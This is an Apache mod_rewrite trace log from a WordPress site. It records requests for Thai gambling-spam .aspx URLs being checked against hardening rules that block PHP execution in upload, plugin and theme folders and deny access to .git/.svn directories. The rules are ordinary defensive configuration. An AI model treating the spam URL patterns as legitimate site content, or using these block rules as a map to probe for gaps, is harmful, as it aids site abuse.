[Mon Nov 10 18:43:28.889068 2025] [rewrite:trace3] [pid 11495:tid 11543] mod_rewrite.c(505): [client 114.119.150.38:46887] 114.119.150.38 - - [vetstars.com.au/sid#3c0acc0][rid#7f38440526d0/initial] [perdir /home/vetstars/public_html/] applying pattern '^wp\\-content/uploads/.*\\.(?:php[1-7]?|pht|phtml?|phps)\\.?$' to uri '\xe0\xb9\x80\xe0\xb8\x82\xe0\xb9\x89\xe0\xb8\xb2\xe0\xb8\xaa\xe0\xb8\xb9\xe0\xb9\x88\xe0\xb8\xa3\xe0\xb8\xb0\xe0\xb8\x9a\xe0\xb8\x9a ufa191.aspx', referer: https://vetstars.com.au/%E0%B8%AA%E0%B8%A5%E0%B9%87%E0%B8%AD%E0%B8%95%20777%20%E0%B9%80%E0%B8%A7%E0%B9%87%E0%B8%9A%E0%B8%95%E0%B8%A3%E0%B8%87%20%E0%B8%A7%E0%B8%AD%E0%B9%80%E0%B8%A5%E0%B8%97.aspx
[Mon Nov 10 18:43:28.889078 2025] [rewrite:trace3] [pid 11495:tid 11543] mod_rewrite.c(505): [client 114.119.150.38:46887] 114.119.150.38 - - [vetstars.com.au/sid#3c0acc0][rid#7f38440526d0/initial] [perdir /home/vetstars/public_html/] strip per-dir prefix: /home/vetstars/public_html/\xe0\xb9\x80\xe0\xb8\x82\xe0\xb9\x89\xe0\xb8\xb2\xe0\xb8\xaa\xe0\xb8\xb9\xe0\xb9\x88\xe0\xb8\xa3\xe0\xb8\xb0\xe0\xb8\x9a\xe0\xb8\x9a ufa191.aspx -> \xe0\xb9\x80\xe0\xb8\x82\xe0\xb9\x89\xe0\xb8\xb2\xe0\xb8\xaa\xe0\xb8\xb9\xe0\xb9\x88\xe0\xb8\xa3\xe0\xb8\xb0\xe0\xb8\x9a\xe0\xb8\x9a ufa191.aspx, referer: https://vetstars.com.au/%E0%B8%AA%E0%B8%A5%E0%B9%87%E0%B8%AD%E0%B8%95%20777%20%E0%B9%80%E0%B8%A7%E0%B9%87%E0%B8%9A%E0%B8%95%E0%B8%A3%E0%B8%87%20%E0%B8%A7%E0%B8%AD%E0%B9%80%E0%B8%A5%E0%B8%97.aspx
[Mon Nov 10 18:43:28.889093 2025] [rewrite:trace3] [pid 11495:tid 11543] mod_rewrite.c(505): [client 114.119.150.38:46887] 114.119.150.38 - - [vetstars.com.au/sid#3c0acc0][rid#7f38440526d0/initial] [perdir /home/vetstars/public_html/] applying pattern '^wp\\-content/plugins/.*\\.(?:php[1-7]?|pht|phtml?|phps)\\.?$' to uri '\xe0\xb9\x80\xe0\xb8\x82\xe0\xb9\x89\xe0\xb8\xb2\xe0\xb8\xaa\xe0\xb8\xb9\xe0\xb9\x88\xe0\xb8\xa3\xe0\xb8\xb0\xe0\xb8\x9a\xe0\xb8\x9a ufa191.aspx', referer: https://vetstars.com.au/%E0%B8%AA%E0%B8%A5%E0%B9%87%E0%B8%AD%E0%B8%95%20777%20%E0%B9%80%E0%B8%A7%E0%B9%87%E0%B8%9A%E0%B8%95%E0%B8%A3%E0%B8%87%20%E0%B8%A7%E0%B8%AD%E0%B9%80%E0%B8%A5%E0%B8%97.aspx
[Mon Nov 10 18:43:28.889105 2025] [rewrite:trace3] [pid 11495:tid 11543] mod_rewrite.c(505): [client 114.119.150.38:46887] 114.119.150.38 - - [vetstars.com.au/sid#3c0acc0][rid#7f38440526d0/initial] [perdir /home/vetstars/public_html/] strip per-dir prefix: /home/vetstars/public_html/\xe0\xb9\x80\xe0\xb8\x82\xe0\xb9\x89\xe0\xb8\xb2\xe0\xb8\xaa\xe0\xb8\xb9\xe0\xb9\x88\xe0\xb8\xa3\xe0\xb8\xb0\xe0\xb8\x9a\xe0\xb8\x9a ufa191.aspx -> \xe0\xb9\x80\xe0\xb8\x82\xe0\xb9\x89\xe0\xb8\xb2\xe0\xb8\xaa\xe0\xb8\xb9\xe0\xb9\x88\xe0\xb8\xa3\xe0\xb8\xb0\xe0\xb8\x9a\xe0\xb8\x9a ufa191.aspx, referer: https://vetstars.com.au/%E0%B8%AA%E0%B8%A5%E0%B9%87%E0%B8%AD%E0%B8%95%20777%20%E0%B9%80%E0%B8%A7%E0%B9%87%E0%B8%9A%E0%B8%95%E0%B8%A3%E0%B8%87%20%E0%B8%A7%E0%B8%AD%E0%B9%80%E0%B8%A5%E0%B8%97.aspx
[Mon Nov 10 18:43:28.889116 2025] [rewrite:trace3] [pid 11495:tid 11543] mod_rewrite.c(505): [client 114.119.150.38:46887] 114.119.150.38 - - [vetstars.com.au/sid#3c0acc0][rid#7f38440526d0/initial] [perdir /home/vetstars/public_html/] applying pattern '^wp\\-content/themes/.*\\.(?:php[1-7]?|pht|phtml?|phps)\\.?$' to uri '\xe0\xb9\x80\xe0\xb8\x82\xe0\xb9\x89\xe0\xb8\xb2\xe0\xb8\xaa\xe0\xb8\xb9\xe0\xb9\x88\xe0\xb8\xa3\xe0\xb8\xb0\xe0\xb8\x9a\xe0\xb8\x9a ufa191.aspx', referer: https://vetstars.com.au/%E0%B8%AA%E0%B8%A5%E0%B9%87%E0%B8%AD%E0%B8%95%20777%20%E0%B9%80%E0%B8%A7%E0%B9%87%E0%B8%9A%E0%B8%95%E0%B8%A3%E0%B8%87%20%E0%B8%A7%E0%B8%AD%E0%B9%80%E0%B8%A5%E0%B8%97.aspx
[Mon Nov 10 18:43:28.889137 2025] [rewrite:trace3] [pid 11495:tid 11543] mod_rewrite.c(505): [client 114.119.150.38:46887] 114.119.150.38 - - [vetstars.com.au/sid#3c0acc0][rid#7f38440526d0/initial] [perdir /home/vetstars/public_html/] strip per-dir prefix: /home/vetstars/public_html/\xe0\xb9\x80\xe0\xb8\x82\xe0\xb9\x89\xe0\xb8\xb2\xe0\xb8\xaa\xe0\xb8\xb9\xe0\xb9\x88\xe0\xb8\xa3\xe0\xb8\xb0\xe0\xb8\x9a\xe0\xb8\x9a ufa191.aspx -> \xe0\xb9\x80\xe0\xb8\x82\xe0\xb9\x89\xe0\xb8\xb2\xe0\xb8\xaa\xe0\xb8\xb9\xe0\xb9\x88\xe0\xb8\xa3\xe0\xb8\xb0\xe0\xb8\x9a\xe0\xb8\x9a ufa191.aspx, referer: https://vetstars.com.au/%E0%B8%AA%E0%B8%A5%E0%B9%87%E0%B8%AD%E0%B8%95%20777%20%E0%B9%80%E0%B8%A7%E0%B9%87%E0%B8%9A%E0%B8%95%E0%B8%A3%E0%B8%87%20%E0%B8%A7%E0%B8%AD%E0%B9%80%E0%B8%A5%E0%B8%97.aspx
[Mon Nov 10 18:43:28.889156 2025] [rewrite:trace3] [pid 11495:tid 11543] mod_rewrite.c(505): [client 114.119.150.38:46887] 114.119.150.38 - - [vetstars.com.au/sid#3c0acc0][rid#7f38440526d0/initial] [perdir /home/vetstars/public_html/] applying pattern '.*' to uri '\xe0\xb9\x80\xe0\xb8\x82\xe0\xb9\x89\xe0\xb8\xb2\xe0\xb8\xaa\xe0\xb8\xb9\xe0\xb9\x88\xe0\xb8\xa3\xe0\xb8\xb0\xe0\xb8\x9a\xe0\xb8\x9a ufa191.aspx', referer: https://vetstars.com.au/%E0%B8%AA%E0%B8%A5%E0%B9%87%E0%B8%AD%E0%B8%95%20777%20%E0%B9%80%E0%B8%A7%E0%B9%87%E0%B8%9A%E0%B8%95%E0%B8%A3%E0%B8%87%20%E0%B8%A7%E0%B8%AD%E0%B9%80%E0%B8%A5%E0%B8%97.aspx
[Mon Nov 10 18:43:28.889190 2025] [rewrite:trace5] [pid 11495:tid 11543] mod_rewrite.c(505): [client 114.119.150.38:46887] 114.119.150.38 - - [vetstars.com.au/sid#3c0acc0][rid#7f38440526d0/initial] setting env variable 'HTTP_AUTHORIZATION' to '', referer: https://vetstars.com.au/%E0%B8%AA%E0%B8%A5%E0%B9%87%E0%B8%AD%E0%B8%95%20777%20%E0%B9%80%E0%B8%A7%E0%B9%87%E0%B8%9A%E0%B8%95%E0%B8%A3%E0%B8%87%20%E0%B8%A7%E0%B8%AD%E0%B9%80%E0%B8%A5%E0%B8%97.aspx
[Mon Nov 10 18:43:28.889203 2025] [rewrite:trace3] [pid 11495:tid 11543] mod_rewrite.c(505): [client 114.119.150.38:46887] 114.119.150.38 - - [vetstars.com.au/sid#3c0acc0][rid#7f38440526d0/initial] [perdir /home/vetstars/public_html/] strip per-dir prefix: /home/vetstars/public_html/\xe0\xb9\x80\xe0\xb8\x82\xe0\xb9\x89\xe0\xb8\xb2\xe0\xb8\xaa\xe0\xb8\xb9\xe0\xb9\x88\xe0\xb8\xa3\xe0\xb8\xb0\xe0\xb8\x9a\xe0\xb8\x9a ufa191.aspx -> \xe0\xb9\x80\xe0\xb8\x82\xe0\xb9\x89\xe0\xb8\xb2\xe0\xb8\xaa\xe0\xb8\xb9\xe0\xb9\x88\xe0\xb8\xa3\xe0\xb8\xb0\xe0\xb8\x9a\xe0\xb8\x9a ufa191.aspx, referer: https://vetstars.com.au/%E0%B8%AA%E0%B8%A5%E0%B9%87%E0%B8%AD%E0%B8%95%20777%20%E0%B9%80%E0%B8%A7%E0%B9%87%E0%B8%9A%E0%B8%95%E0%B8%A3%E0%B8%87%20%E0%B8%A7%E0%B8%AD%E0%B9%80%E0%B8%A5%E0%B8%97.aspx
[Mon Nov 10 18:43:28.889213 2025] [rewrite:trace3] [pid 11495:tid 11543] mod_rewrite.c(505): [client 114.119.150.38:46887] 114.119.150.38 - - [vetstars.com.au/sid#3c0acc0][rid#7f38440526d0/initial] [perdir /home/vetstars/public_html/] applying pattern '^index\\.php$' to uri '\xe0\xb9\x80\xe0\xb8\x82\xe0\xb9\x89\xe0\xb8\xb2\xe0\xb8\xaa\xe0\xb8\xb9\xe0\xb9\x88\xe0\xb8\xa3\xe0\xb8\xb0\xe0\xb8\x9a\xe0\xb8\x9a ufa191.aspx', referer: https://vetstars.com.au/%E0%B8%AA%E0%B8%A5%E0%B9%87%E0%B8%AD%E0%B8%95%20777%20%E0%B9%80%E0%B8%A7%E0%B9%87%E0%B8%9A%E0%B8%95%E0%B8%A3%E0%B8%87%20%E0%B8%A7%E0%B8%AD%E0%B9%80%E0%B8%A5%E0%B8%97.aspx
[Mon Nov 10 18:43:28.889225 2025] [rewrite:trace3] [pid 11495:tid 11543] mod_rewrite.c(505): [client 114.119.150.38:46887] 114.119.150.38 - - [vetstars.com.au/sid#3c0acc0][rid#7f38440526d0/initial] [perdir /home/vetstars/public_html/] strip per-dir prefix: /home/vetstars/public_html/\xe0\xb9\x80\xe0\xb8\x82\xe0\xb9\x89\xe0\xb8\xb2\xe0\xb8\xaa\xe0\xb8\xb9\xe0\xb9\x88\xe0\xb8\xa3\xe0\xb8\xb0\xe0\xb8\x9a\xe0\xb8\x9a ufa191.aspx -> \xe0\xb9\x80\xe0\xb8\x82\xe0\xb9\x89\xe0\xb8\xb2\xe0\xb8\xaa\xe0\xb8\xb9\xe0\xb9\x88\xe0\xb8\xa3\xe0\xb8\xb0\xe0\xb8\x9a\xe0\xb8\x9a ufa191.aspx, referer: https://vetstars.com.au/%E0%B8%AA%E0%B8%A5%E0%B9%87%E0%B8%AD%E0%B8%95%20777%20%E0%B9%80%E0%B8%A7%E0%B9%87%E0%B8%9A%E0%B8%95%E0%B8%A3%E0%B8%87%20%E0%B8%A7%E0%B8%AD%E0%B9%80%E0%B8%A5%E0%B8%97.aspx
[Mon Nov 10 18:43:28.889235 2025] [rewrite:trace3] [pid 11495:tid 11543] mod_rewrite.c(505): [client 114.119.150.38:46887] 114.119.150.38 - - [vetstars.com.au/sid#3c0acc0][rid#7f38440526d0/initial] [perdir /home/vetstars/public_html/] applying pattern '.' to uri '\xe0\xb9\x80\xe0\xb8\x82\xe0\xb9\x89\xe0\xb8\xb2\xe0\xb8\xaa\xe0\xb8\xb9\xe0\xb9\x88\xe0\xb8\xa3\xe0\xb8\xb0\xe0\xb8\x9a\xe0\xb8\x9a ufa191.aspx', referer: https://vetstars.com.au/%E0%B8%AA%E0%B8%A5%E0%B9%87%E0%B8%AD%E0%B8%95%20777%20%E0%B9%80%E0%B8%A7%E0%B9%87%E0%B8%9A%E0%B8%95%E0%B8%A3%E0%B8%87%20%E0%B8%A7%E0%B8%AD%E0%B9%80%E0%B8%A5%E0%B8%97.aspx
[Mon Nov 10 18:43:28.889253 2025] [rewrite:trace4] [pid 11495:tid 11543] mod_rewrite.c(505): [client 114.119.150.38:46887] 114.119.150.38 - - [vetstars.com.au/sid#3c0acc0][rid#7f38440526d0/initial] [perdir /home/vetstars/public_html/] RewriteCond: input='/home/vetstars/public_html/\xe0\xb9\x80\xe0\xb8\x82\xe0\xb9\x89\xe0\xb8\xb2\xe0\xb8\xaa\xe0\xb8\xb9\xe0\xb9\x88\xe0\xb8\xa3\xe0\xb8\xb0\xe0\xb8\x9a\xe0\xb8\x9a ufa191.aspx' pattern='!-f' => matched, referer: https://vetstars.com.au/%E0%B8%AA%E0%B8%A5%E0%B9%87%E0%B8%AD%E0%B8%95%20777%20%E0%B9%80%E0%B8%A7%E0%B9%87%E0%B8%9A%E0%B8%95%E0%B8%A3%E0%B8%87%20%E0%B8%A7%E0%B8%AD%E0%B9%80%E0%B8%A5%E0%B8%97.aspx
[Mon Nov 10 18:43:28.889274 2025] [rewrite:trace4] [pid 11495:tid 11543] mod_rewrite.c(505): [client 114.119.150.38:46887] 114.119.150.38 - - [vetstars.com.au/sid#3c0acc0][rid#7f38440526d0/initial] [perdir /home/vetstars/public_html/] RewriteCond: input='/home/vetstars/public_html/\xe0\xb9\x80\xe0\xb8\x82\xe0\xb9\x89\xe0\xb8\xb2\xe0\xb8\xaa\xe0\xb8\xb9\xe0\xb9\x88\xe0\xb8\xa3\xe0\xb8\xb0\xe0\xb8\x9a\xe0\xb8\x9a ufa191.aspx' pattern='!-d' => matched, referer: https://vetstars.com.au/%E0%B8%AA%E0%B8%A5%E0%B9%87%E0%B8%AD%E0%B8%95%20777%20%E0%B9%80%E0%B8%A7%E0%B9%87%E0%B8%9A%E0%B8%95%E0%B8%A3%E0%B8%87%20%E0%B8%A7%E0%B8%AD%E0%B9%80%E0%B8%A5%E0%B8%97.aspx
[Mon Nov 10 18:43:28.889288 2025] [rewrite:trace2] [pid 11495:tid 11543] mod_rewrite.c(505): [client 114.119.150.38:46887] 114.119.150.38 - - [vetstars.com.au/sid#3c0acc0][rid#7f38440526d0/initial] [perdir /home/vetstars/public_html/] rewrite '\xe0\xb9\x80\xe0\xb8\x82\xe0\xb9\x89\xe0\xb8\xb2\xe0\xb8\xaa\xe0\xb8\xb9\xe0\xb9\x88\xe0\xb8\xa3\xe0\xb8\xb0\xe0\xb8\x9a\xe0\xb8\x9a ufa191.aspx' -> '/index.php', referer: https://vetstars.com.au/%E0%B8%AA%E0%B8%A5%E0%B9%87%E0%B8%AD%E0%B8%95%20777%20%E0%B9%80%E0%B8%A7%E0%B9%87%E0%B8%9A%E0%B8%95%E0%B8%A3%E0%B8%87%20%E0%B8%A7%E0%B8%AD%E0%B9%80%E0%B8%A5%E0%B8%97.aspx
[Mon Nov 10 18:43:28.889343 2025] [rewrite:trace2] [pid 11495:tid 11543] mod_rewrite.c(505): [client 114.119.150.38:46887] 114.119.150.38 - - [vetstars.com.au/sid#3c0acc0][rid#7f38440526d0/initial] [perdir /home/vetstars/public_html/] setting lastsub to rule with output /index.php, referer: https://vetstars.com.au/%E0%B8%AA%E0%B8%A5%E0%B9%87%E0%B8%AD%E0%B8%95%20777%20%E0%B9%80%E0%B8%A7%E0%B9%87%E0%B8%9A%E0%B8%95%E0%B8%A3%E0%B8%87%20%E0%B8%A7%E0%B8%AD%E0%B9%80%E0%B8%A5%E0%B8%97.aspx
[Mon Nov 10 18:43:28.889382 2025] [rewrite:trace2] [pid 11495:tid 11543] mod_rewrite.c(505): [client 114.119.150.38:46887] 114.119.150.38 - - [vetstars.com.au/sid#3c0acc0][rid#7f38440526d0/initial] [perdir /home/vetstars/public_html/] trying to replace prefix /home/vetstars/public_html/ with /, referer: https://vetstars.com.au/%E0%B8%AA%E0%B8%A5%E0%B9%87%E0%B8%AD%E0%B8%95%20777%20%E0%B9%80%E0%B8%A7%E0%B9%87%E0%B8%9A%E0%B8%95%E0%B8%A3%E0%B8%87%20%E0%B8%A7%E0%B8%AD%E0%B9%80%E0%B8%A5%E0%B8%97.aspx
[Mon Nov 10 18:43:28.889382 2025] [rewrite:trace2] [pid 11495:tid 11543] mod_rewrite.c(505): [client 114.119.150.38:46887] 114.119.150.38 - - [vetstars.com.au/sid#3c0acc0][rid#7f38440526d0/initial] [perdir /home/vetstars/public_html/] trying to replace context docroot /home/vetstars/public_html with context prefix , referer: https://vetstars.com.au/%E0%B8%AA%E0%B8%A5%E0%B9%87%E0%B8%AD%E0%B8%95%20777%20%E0%B9%80%E0%B8%A7%E0%B9%87%E0%B8%9A%E0%B8%95%E0%B8%A3%E0%B8%87%20%E0%B8%A7%E0%B8%AD%E0%B9%80%E0%B8%A5%E0%B8%97.aspx
[Mon Nov 10 18:43:28.889382 2025] [rewrite:trace1] [pid 11495:tid 11543] mod_rewrite.c(505): [client 114.119.150.38:46887] 114.119.150.38 - - [vetstars.com.au/sid#3c0acc0][rid#7f38440526d0/initial] [perdir /home/vetstars/public_html/] internal redirect with /index.php [INTERNAL REDIRECT], referer: https://vetstars.com.au/%E0%B8%AA%E0%B8%A5%E0%B9%87%E0%B8%AD%E0%B8%95%20777%20%E0%B9%80%E0%B8%A7%E0%B9%87%E0%B8%9A%E0%B8%95%E0%B8%A3%E0%B8%87%20%E0%B8%A7%E0%B8%AD%E0%B9%80%E0%B8%A5%E0%B8%97.aspx
[Mon Nov 10 18:45:24.996422 2025] [rewrite:trace3] [pid 12497:tid 12528] mod_rewrite.c(505): [client 114.119.157.156:64077] 114.119.157.156 - - [vetstars.com.au/sid#45e3cc0][rid#7f80b80180d0/initial] [perdir /home/vetstars/public_html/] strip per-dir prefix: /home/vetstars/public_html/\xe0\xb8\x9a\xe0\xb8\xb2\xe0\xb8\x84\xe0\xb8\xb2\xe0\xb8\xa3\xe0\xb9\x88\xe0\xb8\xb2\xe0\xb8\xad\xe0\xb8\xad\xe0\xb8\x99\xe0\xb9\x84\xe0\xb8\xa5\xe0\xb8\x99\xe0\xb9\x8c.aspx -> \xe0\xb8\x9a\xe0\xb8\xb2\xe0\xb8\x84\xe0\xb8\xb2\xe0\xb8\xa3\xe0\xb9\x88\xe0\xb8\xb2\xe0\xb8\xad\xe0\xb8\xad\xe0\xb8\x99\xe0\xb9\x84\xe0\xb8\xa5\xe0\xb8\x99\xe0\xb9\x8c.aspx, referer: https://vetstars.com.au/w69%20slot.aspx
[Mon Nov 10 18:45:24.996475 2025] [rewrite:trace3] [pid 12497:tid 12528] mod_rewrite.c(505): [client 114.119.157.156:64077] 114.119.157.156 - - [vetstars.com.au/sid#45e3cc0][rid#7f80b80180d0/initial] [perdir /home/vetstars/public_html/] applying pattern '^wp-admin/install\\.php$' to uri '\xe0\xb8\x9a\xe0\xb8\xb2\xe0\xb8\x84\xe0\xb8\xb2\xe0\xb8\xa3\xe0\xb9\x88\xe0\xb8\xb2\xe0\xb8\xad\xe0\xb8\xad\xe0\xb8\x99\xe0\xb9\x84\xe0\xb8\xa5\xe0\xb8\x99\xe0\xb9\x8c.aspx', referer: https://vetstars.com.au/w69%20slot.aspx
[Mon Nov 10 18:45:24.996499 2025] [rewrite:trace3] [pid 12497:tid 12528] mod_rewrite.c(505): [client 114.119.157.156:64077] 114.119.157.156 - - [vetstars.com.au/sid#45e3cc0][rid#7f80b80180d0/initial] [perdir /home/vetstars/public_html/] strip per-dir prefix: /home/vetstars/public_html/\xe0\xb8\x9a\xe0\xb8\xb2\xe0\xb8\x84\xe0\xb8\xb2\xe0\xb8\xa3\xe0\xb9\x88\xe0\xb8\xb2\xe0\xb8\xad\xe0\xb8\xad\xe0\xb8\x99\xe0\xb9\x84\xe0\xb8\xa5\xe0\xb8\x99\xe0\xb9\x8c.aspx -> \xe0\xb8\x9a\xe0\xb8\xb2\xe0\xb8\x84\xe0\xb8\xb2\xe0\xb8\xa3\xe0\xb9\x88\xe0\xb8\xb2\xe0\xb8\xad\xe0\xb8\xad\xe0\xb8\x99\xe0\xb9\x84\xe0\xb8\xa5\xe0\xb8\x99\xe0\xb9\x8c.aspx, referer: https://vetstars.com.au/w69%20slot.aspx
[Mon Nov 10 18:45:24.996510 2025] [rewrite:trace3] [pid 12497:tid 12528] mod_rewrite.c(505): [client 114.119.157.156:64077] 114.119.157.156 - - [vetstars.com.au/sid#45e3cc0][rid#7f80b80180d0/initial] [perdir /home/vetstars/public_html/] applying pattern '^wp-admin/includes/' to uri '\xe0\xb8\x9a\xe0\xb8\xb2\xe0\xb8\x84\xe0\xb8\xb2\xe0\xb8\xa3\xe0\xb9\x88\xe0\xb8\xb2\xe0\xb8\xad\xe0\xb8\xad\xe0\xb8\x99\xe0\xb9\x84\xe0\xb8\xa5\xe0\xb8\x99\xe0\xb9\x8c.aspx', referer: https://vetstars.com.au/w69%20slot.aspx
[Mon Nov 10 18:45:24.996520 2025] [rewrite:trace3] [pid 12497:tid 12528] mod_rewrite.c(505): [client 114.119.157.156:64077] 114.119.157.156 - - [vetstars.com.au/sid#45e3cc0][rid#7f80b80180d0/initial] [perdir /home/vetstars/public_html/] strip per-dir prefix: /home/vetstars/public_html/\xe0\xb8\x9a\xe0\xb8\xb2\xe0\xb8\x84\xe0\xb8\xb2\xe0\xb8\xa3\xe0\xb9\x88\xe0\xb8\xb2\xe0\xb8\xad\xe0\xb8\xad\xe0\xb8\x99\xe0\xb9\x84\xe0\xb8\xa5\xe0\xb8\x99\xe0\xb9\x8c.aspx -> \xe0\xb8\x9a\xe0\xb8\xb2\xe0\xb8\x84\xe0\xb8\xb2\xe0\xb8\xa3\xe0\xb9\x88\xe0\xb8\xb2\xe0\xb8\xad\xe0\xb8\xad\xe0\xb8\x99\xe0\xb9\x84\xe0\xb8\xa5\xe0\xb8\x99\xe0\xb9\x8c.aspx, referer: https://vetstars.com.au/w69%20slot.aspx
[Mon Nov 10 18:45:24.996531 2025] [rewrite:trace3] [pid 12497:tid 12528] mod_rewrite.c(505): [client 114.119.157.156:64077] 114.119.157.156 - - [vetstars.com.au/sid#45e3cc0][rid#7f80b80180d0/initial] [perdir /home/vetstars/public_html/] applying pattern '^wp-includes/' to uri '\xe0\xb8\x9a\xe0\xb8\xb2\xe0\xb8\x84\xe0\xb8\xb2\xe0\xb8\xa3\xe0\xb9\x88\xe0\xb8\xb2\xe0\xb8\xad\xe0\xb8\xad\xe0\xb8\x99\xe0\xb9\x84\xe0\xb8\xa5\xe0\xb8\x99\xe0\xb9\x8c.aspx', referer: https://vetstars.com.au/w69%20slot.aspx
[Mon Nov 10 18:45:24.996542 2025] [rewrite:trace3] [pid 12497:tid 12528] mod_rewrite.c(505): [client 114.119.157.156:64077] 114.119.157.156 - - [vetstars.com.au/sid#45e3cc0][rid#7f80b80180d0/initial] [perdir /home/vetstars/public_html/] strip per-dir prefix: /home/vetstars/public_html/\xe0\xb8\x9a\xe0\xb8\xb2\xe0\xb8\x84\xe0\xb8\xb2\xe0\xb8\xa3\xe0\xb9\x88\xe0\xb8\xb2\xe0\xb8\xad\xe0\xb8\xad\xe0\xb8\x99\xe0\xb9\x84\xe0\xb8\xa5\xe0\xb8\x99\xe0\xb9\x8c.aspx -> \xe0\xb8\x9a\xe0\xb8\xb2\xe0\xb8\x84\xe0\xb8\xb2\xe0\xb8\xa3\xe0\xb9\x88\xe0\xb8\xb2\xe0\xb8\xad\xe0\xb8\xad\xe0\xb8\x99\xe0\xb9\x84\xe0\xb8\xa5\xe0\xb8\x99\xe0\xb9\x8c.aspx, referer: https://vetstars.com.au/w69%20slot.aspx
[Mon Nov 10 18:45:24.996552 2025] [rewrite:trace3] [pid 12497:tid 12528] mod_rewrite.c(505): [client 114.119.157.156:64077] 114.119.157.156 - - [vetstars.com.au/sid#45e3cc0][rid#7f80b80180d0/initial] [perdir /home/vetstars/public_html/] applying pattern '(^|.*/)\\.(git|svn)/.*' to uri '\xe0\xb8\x9a\xe0\xb8\xb2\xe0\xb8\x84\xe0\xb8\xb2\xe0\xb8\xa3\xe0\xb9\x88\xe0\xb8\xb2\xe0\xb8\xad\xe0\xb8\xad\xe0\xb8\x99\xe0\xb9\x84\xe0\xb8\xa5\xe0\xb8\x99\xe0\xb9\x8c.aspx', referer: https://vetstars.com.au/w69%20slot.aspx
[Mon Nov 10 18:45:24.996562 2025] [rewrite:trace3] [pid 12497:tid 12528] mod_rewrite.c(505): [client 114.119.157.156:64077] 114.119.157.156 - - [vetstars.com.au/sid#45e3cc0][rid#7f80b80180d0/initial] [perdir /home/vetstars/public_html/] strip per-dir prefix: /home/vetstars/public_html/\xe0\xb8\x9a\xe0\xb8\xb2\xe0\xb8\x84\xe0\xb8\xb2\xe0\xb8\xa3\xe0\xb9\x88\xe0\xb8\xb2\xe0\xb8\xad\xe0\xb8\xad\xe0\xb8\x99\xe0\xb9\x84\xe0\xb8\xa5\xe0\xb8\x99\xe0\xb9\x8c.aspx -> \xe0\xb8\x9a\xe0\xb8\xb2\xe0\xb8\x84\xe0\xb8\xb2\xe0\xb8\xa3\xe0\xb9\x88\xe0\xb8\xb2\xe0\xb8\xad\xe0\xb8\xad\xe0\xb8\x99\xe0\xb9\x84\xe0\xb8\xa5\xe0\xb8\x99\xe0\xb9\x8c.aspx, referer: https://vetstars.com.au/w69%20slot.aspx
[Mon Nov 10 18:45:24.996576 2025] [rewrite:trace3] [pid 12497:tid 12528] mod_rewrite.c(505): [client 114.119.157.156:64077] 114.119.157.156 - - [vetstars.com.au/sid#45e3cc0][rid#7f80b80180d0/initial] [perdir /home/vetstars/public_html/] applying pattern '^wp\\-content/uploads/.*\\.(?:php[1-7]?|pht|phtml?|phps)\\.?$' to uri '\xe0\xb8\x9a\xe0\xb8\xb2\xe0\xb8\x84\xe0\xb8\xb2\xe0\xb8\xa3\xe0\xb9\x88\xe0\xb8\xb2\xe0\xb8\xad\xe0\xb8\xad\xe0\xb8\x99\xe0\xb9\x84\xe0\xb8\xa5\xe0\xb8\x99\xe0\xb9\x8c.aspx', referer: https://vetstars.com.au/w69%20slot.aspx
[Mon Nov 10 18:45:24.996587 2025] [rewrite:trace3] [pid 12497:tid 12528] mod_rewrite.c(505): [client 114.119.157.156:64077] 114.119.157.156 - - [vetstars.com.au/sid#45e3cc0][rid#7f80b80180d0/initial] [perdir /home/vetstars/public_html/] strip per-dir prefix: /home/vetstars/public_html/\xe0\xb8\x9a\xe0\xb8\xb2\xe0\xb8\x84\xe0\xb8\xb2\xe0\xb8\xa3\xe0\xb9\x88\xe0\xb8\xb2\xe0\xb8\xad\xe0\xb8\xad\xe0\xb8\x99\xe0\xb9\x84\xe0\xb8\xa5\xe0\xb8\x99\xe0\xb9\x8c.aspx -> \xe0\xb8\x9a\xe0\xb8\xb2\xe0\xb8\x84\xe0\xb8\xb2\xe0\xb8\xa3\xe0\xb9\x88\xe0\xb8\xb2\xe0\xb8\xad\xe0\xb8\xad\xe0\xb8\x99\xe0\xb9\x84\xe0\xb8\xa5\xe0\xb8\x99\xe0\xb9\x8c.aspx, referer: https://vetstars.com.au/w69%20slot.aspx
[Mon Nov 10 18:45:24.996598 2025] [rewrite:trace3] [pid 12497:tid 12528] mod_rewrite.c(505): [client 114.119.157.156:64077] 114.119.157.156 - - [vetstars.com.au/sid#45e3cc0][rid#7f80b80180d0/initial] [perdir /home/vetstars/public_html/] applying pattern '^wp\\-content/plugins/.*\\.(?:php[1-7]?|pht|phtml?|phps)\\.?$' to uri '\xe0\xb8\x9a\xe0\xb8\xb2\xe0\xb8\x84\xe0\xb8\xb2\xe0\xb8\xa3\xe0\xb9\x88\xe0\xb8\xb2\xe0\xb8\xad\xe0\xb8\xad\xe0\xb8\x99\xe0\xb9\x84\xe0\xb8\xa5\xe0\xb8\x99\xe0\xb9\x8c.aspx', referer: https://vetstars.com.au/w69%20slot.aspx
[Mon Nov 10 18:45:24.996608 2025] [rewrite:trace3] [pid 12497:tid 12528] mod_rewrite.c(505): [client 114.119.157.156:64077] 114.119.157.156 - - [vetstars.com.au/sid#45e3cc0][rid#7f80b80180d0/initial] [perdir /home/vetstars/public_html/] strip per-dir prefix: /home/vetstars/public_html/\xe0\xb8\x9a\xe0\xb8\xb2\xe0\xb8\x84\xe0\xb8\xb2\xe0\xb8\xa3\xe0\xb9\x88\xe0\xb8\xb2\xe0\xb8\xad\xe0\xb8\xad\xe0\xb8\x99\xe0\xb9\x84\xe0\xb8\xa5\xe0\xb8\x99\xe0\xb9\x8c.aspx -> \xe0\xb8\x9a\xe0\xb8\xb2\xe0\xb8\x84\xe0\xb8\xb2\xe0\xb8\xa3\xe0\xb9\x88\xe0\xb8\xb2\xe0\xb8\xad\xe0\xb8\xad\xe0\xb8\x99\xe0\xb9\x84\xe0\xb8\xa5\xe0\xb8\x99\xe0\xb9\x8c.aspx, referer: https://vetstars.com.au/w69%20slot.aspx
